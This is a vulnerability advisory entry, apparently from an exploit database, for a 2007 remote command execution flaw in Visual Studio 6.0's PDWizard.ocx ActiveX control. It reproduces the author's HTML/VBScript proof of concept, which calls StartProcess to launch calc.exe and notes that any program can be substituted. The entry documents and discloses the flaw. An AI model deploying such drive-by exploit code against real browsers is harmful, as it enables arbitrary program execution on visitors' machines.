Microsoft Visual Studio 6.0 (PDWizard.ocx) Remote Command Execution

🗓️ 19 Sep 2007 00:00:00Reported by RootType

Microsoft Visual Studio 6.0 PDWizard.ocx Remote Command Execution vulnerability allows arbitrary command execution via dangerous methods such as StartProcess() and SyncShell(). It can be exploited to run any program, leading to potential damage


                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;&lt;body&nbsp;bgcolor=&quot;#E0E0E0&quot;&gt;------------------------------------------------------------------------------------------------------
&nbsp;&lt;b&gt;Microsoft&nbsp;Visual&nbsp;Studio&nbsp;6.0&nbsp;PDWizard&nbsp;(PDWizard.ocx&nbsp;&lt;=&nbsp;6.0.0.9782)&nbsp;Remote&nbsp;Arbitrary&nbsp;Command&nbsp;Execution&lt;/b&gt;
&nbsp;url:&nbsp;http://www.microsoft.com

&nbsp;author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org

&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.
&nbsp;
&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7

&nbsp;&lt;b&gt;&lt;font&nbsp;color='red'&gt;greetz&nbsp;to:&nbsp;Wiz001&nbsp;(be&nbsp;safe&nbsp;brotha...&nbsp;and&nbsp;see&nbsp;soon&nbsp;:D)&lt;/font&gt;&lt;/b&gt;

&nbsp;&lt;b&gt;Description:
&nbsp;This&nbsp;ocx&nbsp;contains&nbsp;a&nbsp;lot&nbsp;of&nbsp;extreme&nbsp;dangerous&nbsp;methods.&nbsp;Theese&nbsp;two&nbsp;are&nbsp;very&nbsp;interesting,&nbsp;they&nbsp;are:
&nbsp;&quot;StartProcess()&quot;&nbsp;and&nbsp;&quot;SyncShell()&quot;
&nbsp;Using&nbsp;one&nbsp;of&nbsp;them,&nbsp;you'll&nbsp;be&nbsp;able&nbsp;to&nbsp;run&nbsp;every&nbsp;program&nbsp;you&nbsp;like,&nbsp;simply&nbsp;giving&nbsp;to&nbsp;the&nbsp;method&nbsp;the&nbsp;
&nbsp;right&nbsp;argument.
&nbsp;In&nbsp;this&nbsp;PoC,&nbsp;I&nbsp;use&nbsp;the&nbsp;&quot;StartProcess()&quot;&nbsp;method&nbsp;to&nbsp;execute&nbsp;the&nbsp;calc.exe,&nbsp;but&nbsp;you&nbsp;can&nbsp;do&nbsp;everything
&nbsp;you&nbsp;like.
&nbsp;Anyway,&nbsp;I&nbsp;think&nbsp;you&nbsp;could&nbsp;imagine&nbsp;what&nbsp;impact&nbsp;could&nbsp;have&nbsp;this&nbsp;kind&nbsp;of&nbsp;vulnerability&nbsp;:D

&nbsp;Other&nbsp;dangerous&nbsp;methods&nbsp;of&nbsp;this&nbsp;ocx&nbsp;are:
&nbsp;&quot;SaveAs()&quot;
&nbsp;&quot;CABDefaultURL()&quot;
&nbsp;&quot;CABFileName()&quot;
&nbsp;&quot;CABRunFile()&quot;&lt;/b&gt;
------------------------------------------------------------------------------------------------------

&lt;object&nbsp;classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685'&nbsp;id='test'&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language&nbsp;=&nbsp;'vbscript'&gt;
&nbsp;Sub&nbsp;tryMe()
&nbsp;&nbsp;test.StartProcess&nbsp;&quot;c:\windows\system32\calc.exe&quot;,&nbsp;&quot;False&quot;&nbsp;'you&nbsp;can&nbsp;change&nbsp;with&nbsp;your&nbsp;favourite&nbsp;application&nbsp;;)
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

19 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1